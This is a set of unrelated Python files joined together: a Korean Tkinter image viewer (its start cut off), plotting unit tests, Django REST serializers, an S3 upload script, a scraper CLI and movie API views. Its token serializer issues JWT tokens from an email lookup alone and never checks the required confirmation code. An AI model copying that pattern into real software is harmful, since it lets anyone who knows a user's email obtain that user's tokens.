    tk_img = ImageTk.PhotoImage(im)
    canvas.create_image(250, 250, image=tk_img)
    xsize, ysize = im.size
    window.update()

# 파일 메뉴에서 “종료”를 선택하였을 때 호출되는 함수
def quit():
    window.quit()

def image_reset():
    global im, tk_img
    tk_img = ImageTk.PhotoImage(im)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

# 영사처리 메뉴에서 “열기”를 선택하였을 때 호출되는 함수
def image_rotate():
    global im, tk_img
    out = im.rotate(45)
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

# 영사처리 메뉴에서 “열기”를 선택하였을 때 호출되는 함수
def image_blur():
    global im, tk_img
    out = im.filter(ImageFilter.BLUR)
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

# 영사처리 메뉴에서 “열기”를 선택하였을 때 호출되는 함수
def image_contour():
    global im, tk_img
    out = im.filter(ImageFilter.CONTOUR)
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

def image_gray():
    global im, tk_img
    out= im.convert("L")
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

def image_2():
    global im, tk_img
    out= im.resize((xsize*2, ysize*2))
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

def image_select():
    global im, tk_img, b1, b2, b3

    b1= canvas.bind("<B1-Motion>", paint)
    b2= canvas.bind("<ButtonPress-1>", press)
    b3= canvas.bind("<ButtonRelease-1>", release)

def press(event):
    global px, py, item
    px= event.x
    py= event.y
    item= canvas.create_rectangle(px, py, px+1, py+1, fill="")

def release(event):
    global im, tk_img, item, px, py, x, y
    x= event.x
    y= event.y

    canvas.delete(item)
    print(px, py, event.x, event.y)

    canvas.unbind("<B1-Motion>", b1)
    canvas.unbind("<ButtonPress-1>", b2)
    canvas.unbind("<ButtonRelease-1>", b3)

    out= im.crop((px, py, x, y))
    out= out.resize((xsize, ysize))
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

def paint(event):
    global px, py, item
    canvas.delete(item)
    item= canvas.create_rectangle(px, py, event.x, event.y, fill="")

# 윈도우를 생성한다.
window = tk.Tk()
canvas = tk.Canvas(window, width=500, height=500)
canvas.pack()

# 메뉴를 생성한다.
menubar = tk.Menu(window)
filemenu = tk.Menu(menubar)
ipmenu = tk.Menu(menubar)
filemenu.add_command(label="열기", command=open)
filemenu.add_command(label="종료", command=quit)
ipmenu.add_command(label="영상복구", command=image_reset)
ipmenu.add_command(label="영상회전", command=image_rotate)
ipmenu.add_command(label="영상흐리게", command=image_blur)
ipmenu.add_command(label="영상윤곽선", command=image_contour)
ipmenu.add_command(label="영상흑백", command=image_gray)
ipmenu.add_command(label="영상*2", command=image_2)
ipmenu.add_command(label="영상선택", command=image_select)
menubar.add_cascade(label="파일", menu=filemenu)
menubar.add_cascade(label="영상처리", menu=ipmenu)

window.config(menu=menubar)
window.mainloop()


"""Test plotting functions."""
import unittest
import logging
import os
import numpy as np
from numpy.random import random
from skpar.dftbutils.queryDFTB import get_bandstructure
from skpar.dftbutils.plot import plot_bs, magic_plot_bs
from skpar.core.database import Database
from skpar.core.plot import skparplot

np.set_printoptions(precision=2, suppress=True)

logging.basicConfig(level=logging.DEBUG)
logging.basicConfig(format="%(message)s")
LOGGER = logging.getLogger(__name__)

def init_test_plot_bs(basename):
    """Some common initialisation for the test_plot_bs_*"""
    twd = "_workdir/test_plot"
    filename = os.path.join(twd, basename)
    if os.path.exists(filename):
        os.remove(filename)
    else:
        os.makedirs(twd, exist_ok=True)
    bsdata = np.loadtxt("reference_data/fakebands.dat", unpack=True)
    return filename, bsdata

class BandstructurePlotTest(unittest.TestCase):
    """Test bandstructure plotting back-end and magic"""

    def test_plot_bs_1(self):
        """Can we plot a bandsturcture, given as a x, and y array?"""
        filename, bsdata = init_test_plot_bs("test_plot_bs_1.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        xtl = None
        fig, _ax = plot_bs(
            xx1,
            yy1,
            ylim=(-2.5, 2.5),
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test 1 array",
            xlabel=None,
        )
        fig.savefig(filename)
        self.assertTrue(os.path.exists(filename))

    def test_plot_bs_2(self):
        """Can we plot a two bandsturctures with shared k-points?"""
        filename, bsdata = init_test_plot_bs("test_plot_bs_2.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        jitter = 0.1 * (0.5 - random(yy1.shape))
        yy2 = yy1 + jitter
        xtl = [(1, "X"), (6, "Gamma"), (10, "L")]
        plot_bs(
            xx1,
            [yy1, yy2],
            ylim=(-2.5, 2.5),
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test 2 array common X",
            xlabel=None,
            filename=filename,
        )
        self.assertTrue(os.path.exists(filename))

    def test_plot_bs_3(self):
        """Can we plot a two bandsturctures with 2 sets of k-points?"""
        filename, bsdata = init_test_plot_bs("test_plot_bs_3.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        jitter = 0.1 * (0.5 - random(yy1.shape))
        yy2 = yy1 + jitter
        xtl = [(1, "X"), (6, "Gamma"), (11, "L")]
        plot_bs(
            [xx1, xx1],
            [yy1, yy2],
            ylim=(-2.5, 2.5),
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test 2 bands 2 kpts",
            xlabel=None,
            filename=filename,
        )
        self.assertTrue(os.path.exists(filename))

    def test_plot_bs_4(self):
        """Can we plot a two bandsturctures with 2 different of k-points?"""
        filename, bsdata = init_test_plot_bs("test_plot_bs_4.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        j = 6
        jitter = 0.1 * (0.5 - random(yy1[:j, :8].shape))
        yy2 = yy1[:j, :8] + jitter
        xx2 = xx1[:8]
        xtl = [(1, "X"), (6, "Gamma"), (8, "K"), (11, "L")]
        plot_bs(
            [xx1, xx2],
            [yy1, yy2],
            ylim=(-2.5, 2.5),
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test 2 bands 2 (different) kpts",
            xlabel=None,
            filename=filename,
        )
        self.assertTrue(os.path.exists(filename))

    def test_magic_plot_bs_1(self):
        """Can we call the magic without the need for magic?"""
        filename, bsdata = init_test_plot_bs("test_magic_plot_bs_1.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        jitter = 0.1 * (0.5 - random(yy1.shape))
        yy2 = yy1 + jitter
        xx2 = xx1
        xtl = [(1, "X"), (6, "Gamma"), (8, "K"), (11, "L")]
        magic_plot_bs(
            [xx1, xx2],
            [yy1, yy2],
            filename=filename,
            ylim=(-2.5, 2.5),
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test magic without gap",
            xlabel=None,
        )
        self.assertTrue(os.path.exists(filename))

    def test_magic_plot_bs_2(self):
        """Can we call the magic with gap?"""
        filename, bsdata = init_test_plot_bs("test_magic_plot_bs_2.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        jitter = 0.1 * (0.5 - random(yy1.shape))
        yy2 = yy1 + jitter
        xx2 = xx1
        xtl = [(1, "X"), (6, "Gamma"), (8, "K"), (11, "L")]
        eg1 = np.atleast_1d(0.3)
        eg2 = np.atleast_1d(0.4)
        magic_plot_bs(
            [xx1, xx2, xx1, xx2],
            [eg1, eg2, yy1[:4], yy2[:4], yy1[4:], yy2[4:]],
            filename=filename,
            ylim=(-2.5, 2.5),
            colors=["b", "darkred", "b", "darkred"],
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test magic 2 Eg Eg VB VB CB CB",
            xlabel=None,
        )
        self.assertTrue(os.path.exists(filename))

    def test_magic_plot_bs_3(self):
        """Can we call the magic with gap (alternative yval order)?"""
        filename, bsdata = init_test_plot_bs("test_magic_plot_bs_3.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        jitter = 0.1 * (0.5 - random(yy1.shape))
        yy2 = yy1 + jitter
        xx2 = xx1
        xtl = [(1, "X"), (6, "Gamma"), (8, "K"), (11, "L")]
        eg1 = np.atleast_1d(0.3)
        eg2 = np.atleast_1d(0.4)
        magic_plot_bs(
            [xx1, xx1, xx2, xx2],
            [eg1, yy1[:4], yy1[4:], eg2, yy2[:4], yy2[4:]],
            filename=filename,
            ylim=(-2.5, 2.5),
            colors=["b", "b", "r", "r"],
            xticklabels=xtl,
            linelabels=["ref", None, "model", None],
            title="Test magic 3 Eg VB CB Eg VB CB",
            xlabel=None,
        )
        self.assertTrue(os.path.exists(filename))

class GenericPlotTaskTest(unittest.TestCase):
    """Test generic plot-task from tasksdict for  1D and 2D plots"""

    def test_skparplot(self):
        """Can we plot a band-structure objectives?"""
        env = {}
        database = Database()
        latticeinfo = {"type": "FCC", "param": 5.4315}
        model = "Si.bs"
        filename = "_workdir/test_plot/bs1.pdf"
        get_bandstructure(
            env, database, "test_dftbutils/Si/bs/", model, latticeinfo=latticeinfo
        )
        modeldb = database.get(model)
        bands = modeldb["bands"]
        eps = 0.25
        jitter = eps * (0.5 - random(bands.shape))
        altbands = bands + jitter
        if os.path.exists(filename):
            os.remove(filename)
        else:
            os.makedirs("_workdir/test_plot", exist_ok=True)
        skparplot(
            modeldb["kvector"],
            [altbands, bands],
            filename=filename,
            xticklabels=modeldb["kticklabels"],
            xlabel="wave-vector",
            ylabel="Energy, eV",
            linelabels=["ref", "model"],
            ylim=(-13, 6),
        )
        self.assertTrue(os.path.exists(filename))

if __name__ == "__main__":
    unittest.main()


from rest_framework import exceptions, serializers
from rest_framework.validators import UniqueValidator
from rest_framework.generics import get_object_or_404
from rest_framework_simplejwt.tokens import RefreshToken

from .models import User, Category, Genre, Title, Review, Comment

class CustomTokenObtainSerializer(serializers.Serializer):
    """Higher serializer for token obtaining."""

    username_field = User.USERNAME_FIELD

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)

        self.fields[self.username_field] = serializers.CharField()

        self.fields['confirmation_code'] = serializers.CharField()

    def validate(self, attrs):
        self.user = get_object_or_404(User, email=attrs[self.username_field])

        if not self.user:
            raise exceptions.AuthenticationFailed('The user is not valid.')

        return {}

class CustomTokenObtainPairSerializer(CustomTokenObtainSerializer):
    """Serializer for token obtaining."""
    @classmethod
    def get_token(cls, user):
        return RefreshToken.for_user(user)

    def validate(self, attrs):
        data = super(CustomTokenObtainPairSerializer, self).validate(attrs)

        refresh = self.get_token(self.user)

        data['refresh'] = str(refresh)
        data['access'] = str(refresh.access_token)

        return data

class CreateUserSerializer(serializers.ModelSerializer):
    """Serializer for user creation action."""

    class Meta:
        fields = ("email",)
        model = User

class UserSerializer(serializers.ModelSerializer):
    """Serializer for user endpoints with forbid role changes."""

    username = serializers.CharField(
        validators=[UniqueValidator(queryset=User.objects.all())],
        required=True,
    )
    email = serializers.EmailField(
        validators=[UniqueValidator(queryset=User.objects.all())],
        required=True,
    )

    class Meta:
        fields = (
            "id",
            "first_name",
            "last_name",
            "username",
            "bio",
            "email",
            "role",
        )
        model = User
        read_only_fields = ("email", "role")

class AdminSerializer(serializers.ModelSerializer):
    """Serializer for user endpoints with allowed role changes."""

    username = serializers.CharField(
        validators=[UniqueValidator(queryset=User.objects.all())],
        required=True,
    )
    email = serializers.EmailField(
        validators=[UniqueValidator(queryset=User.objects.all())],
        required=True,
    )

    class Meta:
        fields = (
            "id",
            "first_name",
            "last_name",
            "username",
            "bio",
            "email",
            "role",
        )
        model = User
        read_only_fields = ("email",)

class CategorySerializer(serializers.ModelSerializer):
    """Serializer for category endpoints."""

    name = serializers.CharField(required=True)

    class Meta:
        exclude = ("id",)
        model = Category

class GenreSerializer(serializers.ModelSerializer):
    """Serializer for genre endpoints."""

    name = serializers.CharField(required=True)

    class Meta:
        fields = ("name", "slug")
        model = Genre

class GetTitleSerializer(serializers.ModelSerializer):
    """Serializer for title GET endpoints."""

    name = serializers.CharField(required=True)
    genre = GenreSerializer(many=True, required=False)
    category = CategorySerializer(required=False)
    rating = serializers.IntegerField(read_only=True, default=None)

    class Meta:
        fields = "__all__"
        model = Title

class CreateTitleSerializer(serializers.ModelSerializer):
    """Serializer for title POST, PATCH, DELETE endpoints."""

    name = serializers.CharField(required=True)
    genre = serializers.SlugRelatedField(
        many=True,
        queryset=Genre.objects.all(),
        slug_field="slug",
        required=False,
    )
    category = serializers.SlugRelatedField(
        queryset=Category.objects.all(), slug_field="slug", required=False
    )
    rating = serializers.IntegerField(read_only=True, default=None)

    class Meta:
        fields = "__all__"
        model = Title

class CreateReviewSerializer(serializers.ModelSerializer):
    """Serializer for title POST endpoints."""

    text = serializers.CharField(required=True)
    score = serializers.ChoiceField(
        choices=[(i, i) for i in range(1, 11)], required=True
    )
    author = serializers.SlugRelatedField(
        slug_field="username",
        read_only=True,
        default=serializers.CurrentUserDefault(),
    )
    title = serializers.SlugRelatedField(
        required=False, slug_field="pk", queryset=Title.objects.all()
    )

    class Meta:
        fields = "__all__"
        model = Review

    def validate(self, data):
        """Check that authors review already exists."""
        title = self.context["view"].kwargs.get("title_id")
        author = self.context["request"].user
        message = "Authors review already exists"
        if Review.objects.filter(title=title, author=author).exists():
            raise serializers.ValidationError(message)
        return data

class ReviewSerializer(serializers.ModelSerializer):
    """Serializer for title GET, PATCH, DELETE endpoints."""

    text = serializers.CharField(required=True)
    score = serializers.ChoiceField(
        choices=[(i, i) for i in range(1, 11)], required=True
    )
    author = serializers.SlugRelatedField(
        slug_field="username",
        read_only=True,
        default=serializers.CurrentUserDefault(),
    )
    title = serializers.SlugRelatedField(
        required=False, slug_field="pk", queryset=Title.objects.all()
    )

    class Meta:
        fields = "__all__"
        model = Review

class CommentSerializer(serializers.ModelSerializer):
    """Serializer for comment endpoints."""

    text = serializers.CharField(required=True)
    author = serializers.SlugRelatedField(
        slug_field="username",
        read_only=True,
        default=serializers.CurrentUserDefault(),
    )
    title = serializers.SlugRelatedField(
        required=False, slug_field="pk", queryset=Title.objects.all()
    )
    review = serializers.SlugRelatedField(
        required=False, slug_field="pk", queryset=Review.objects.all()
    )

    class Meta:
        fields = "__all__"
        model = Comment


import boto3
from datetime import datetime
import re

fl=input("Enter filename ")
print(re.search('\d{8}', fl) )
print(datetime.today().date().strftime("%d%m%Y"))
mat= re.search('\d{8}', fl)

if re.search('\d{8}', fl).group() == datetime.today().date().strftime("%d%m%Y"):
    print('inside if')
#function to download file from S3
    def dwn(key):
# Let's use Amazon S3
        s3 = boto3.client('s3')

#for bucket in s3.buckets.all():
#    print(bucket.name)

#	list=s3.list_objects(Bucket='prac-1')['Contents']
        s3.download_file('prac-1', key , key)
        print('down')

# function to upload file into s3
    def upl(key):
        bucketName = "Your S3 BucketName"

#    Key = "Original Name and type of the file you want to upload into s3"
#    outPutname = "Output file name(The name you want to give to the file after we upload to s3)"

        s3 = boto3.client('s3')
        s3.upload_file(key, 'uploadprac',key)
        print('upload')

    upl(fl)
# file name
else:
    print('inside else')


import argparse
import sys
sys.path.append('/home/panther/SocialSpace/')
import znanalysis.Spider.HupuAPISail as hupu

def main():

    main_parser = argparse.ArgumentParser(add_help=False)
    main_parser.description = 'Command line interface of hupu argparser'
    main_parser.add_argument('-kw', '--keyword', help='search keyword')
    main_parser.add_argument('-p', '--pagelimit', help='max number of pages to search')

    args = main_parser.parse_args()
    opt = vars(args)

    h = hupu.HupuMongo()
    h.get_hupu_data(opt.get('keyword'), opt.get('pagelimit'))

if __name__ == "__main__":
    main()


from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework import status
from movie_app.models import Director, Movie, Review
from movie_app.serializers import *

@api_view (['GET'])
def director_list_view(request):
    director = Director.objects.all()
    serializer = DirectorListSerializer(director, many=True)
    return Response(data=serializer.data)

@api_view (['GET'])
def director_detail_view(request, id):
    try:
        director = Director.objects.get(id=id)
    except Director.DoesNotExist:
        return Response(data={'Error':'Product not found'},
                        status=status.HTTP_404_NOT_FOUND)
    data = DirectorDetailSerializer(director).data
    return Response(data=data)

@api_view (['GET'])
def movie_list_view(request):
    movies = Movie.objects.all()
    serializer = MovieListSerializer(movies, many=True)
    return Response(data=serializer.data)

@api_view (['GET'])
def movie_detail_view(request, id):
    try:
        movies = Movie.objects.get(id=id)
    except Movie.DoesNotExist:
        return Response(data={'Error':'Product not found'},
                        status=status.HTTP_404_NOT_FOUND)
    data = MovieListSerializer(movies).data
    return Response(data=data)

@api_view (['GET'])
def review_list_view(request):
    review = Review.objects.all()
    serializer = ReviewListSerializer(review, many=True)
    return Response(data=serializer.data)

@api_view (['GET'])
def review_detail_view(request, id):
    try:
        review = Review.objects.get(id=id)
    except Review.DoesNotExist:
        return Response(data={'Error':'Product not found'},
                        status=status.HTTP_404_NOT_FOUND)
    data = ReviewDetailSerializer(review).data
    return Response(data=data)